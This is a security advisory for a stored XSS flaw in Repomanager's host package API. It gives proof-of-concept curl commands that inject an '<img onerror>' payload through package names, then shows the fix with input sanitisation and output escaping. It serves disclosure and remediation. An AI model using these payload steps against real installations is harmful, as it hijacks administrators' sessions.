> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/cves/ghsa-4766-qc2v-p59h.md).

# GHSA-4766-qc2v-p59h

Summary

When we use soft templates for frontend code instead of frameworks, there are no security practices or extra checks for injection. Hence, we want to make sure that when we push statuses/updates into our View files, we want them to be clean. (As those view files will be processed as HTML/JS) So even if the injection code isn't even ran in a command, shell, or etc... if it's going to be displayed, that's the same as any other vulnerable sink.&#x20;

An authenticated host (or any principal holding a host/API credential) can store arbitrary HTML/JavaScript in a host's package inventory via the agent API. The package `name`, `version`, and `repository` (repository only exists on the available update path) fields are neither validated on input nor HTML-escaped on output. When an administrator later opens that host's page in the web UI, the stored payload executes in the admin's browser. This is Stored XSS. (as it uploaded to the website)&#x20;

#### Steps

1. Log in to any user account, and generate a new personal API key
2. Register as a host to a server. Paste in this curl command

```
curl -s -X POST http://localhost:8888/api/v2/host/registering \
  -H "Authorization: Bearer <INSERT API KEY>" \
  -H "Content-Type: application/json" \
  -d '{"ip":"10.0.0.66","hostname":"evil-host"}'
```

3. Copy token and Id from previous results command
4. Push a malicious "installed package" using the returned host credential: Paste in this curl command:

```
curl -s -X PUT http://localhost:8888/api/v2/host/packages/installed \
  -H "Authorization: Host id_<Insert ID>:<Insert Token>" \
  -H "Content-Type: application/json" \
  -d '{"installed_packages":[{"name":"<img src=x onerror=\"alert(`This is a Stored XSS attack on Repomanager!`)\">","version":"6.6.6"}]}'
```

5. Navigate back to Repomanager, as an administrator, open **HOSTS → evil-host**. The payload executes in the\
   admin's browser. A real attacker would replace `alert()` with a script that forges admin actions using the admin's authenticated session.

#### PoC

First Curl Request<br>

<figure><img src="/files/IWGZjwppJeOwTGSrqF45" alt=""><figcaption></figcaption></figure>

Second Curl Request<br>

<figure><img src="/files/C5mogpALQIezvDaTWzsC" alt=""><figcaption></figcaption></figure>

Results:

<figure><img src="/files/neQrdaDSvSXW60iSIokt" alt=""><figcaption></figcaption></figure>

Additionally, for example we can see in line 286 of Package.php, input is not sanitized. (This comes after json\_decode() is ran)<br>

<figure><img src="/files/unoDQ8hecCxmG8npdIBL" alt=""><figcaption></figcaption></figure>

#### Recommendations/Remediation

Affected Files:

* controllers/Host/Package/Package.php Line 286 & 322

Ideally, we want protection on the input side of our code. This means changing the controller. We can use the Validate string function to help clear out XSS attacks or the htmlspecialchars. For this vulnerability, sanitizing on input is sufficient because these values are only rendered in an HTML context. Output escaping in the two view files below is still recommended as defense-in-depth, which is the more general protection against XSS: `views/includes/tables/host/available-packages.inc.php` and `views/includes/containers/host/packages.inc.php`

setPackagesInventory() (line 286)\
Before:

```
        foreach ($packages as $package) {
            // If the package does not exist in database, add it
            if (!$this->exists($package['name'])) {
```

After:

```
        foreach ($packages as $package) {
            // Sanitize host-supplied values before using them
            $package['name']    = Validate::string($package['name']);
            $package['version'] = Validate::string($package['version']);

            // If the package does not exist in database, add it
            if (!$this->exists($package['name'])) {
```

setPackagesAvailable() (line 322)\
Before:

```
        foreach ($packages as $package) {
            // If name is empty, we skip this package
            if (empty($package['name'])) {
                continue;
            }
```

After:

```
        foreach ($packages as $package) {
            // Sanitize host-supplied values before using them
            $package['name']       = Validate::string($package['name']);
            $package['version']    = Validate::string($package['version']);
            $package['repository'] = Validate::string($package['repository'] ?? '');

            // If name is empty, we skip this package
            if (empty($package['name'])) {
                continue;
            }
```

#### Impact

Stored XSS executing in the administrator's authenticated session. An attacker who controls a registered host (or holds any host/API credential) can:

* Read any data visible to the admin (repositories, hosts, users, settings);
* Forge any admin action (there is no CSRF token on the AJAX/API layer);
* Escalate toward full server compromise by driving admin-only functionality.

The attacker is a low-privileged principal; the victim is the administrator, so the impact crosses a privilege boundary.
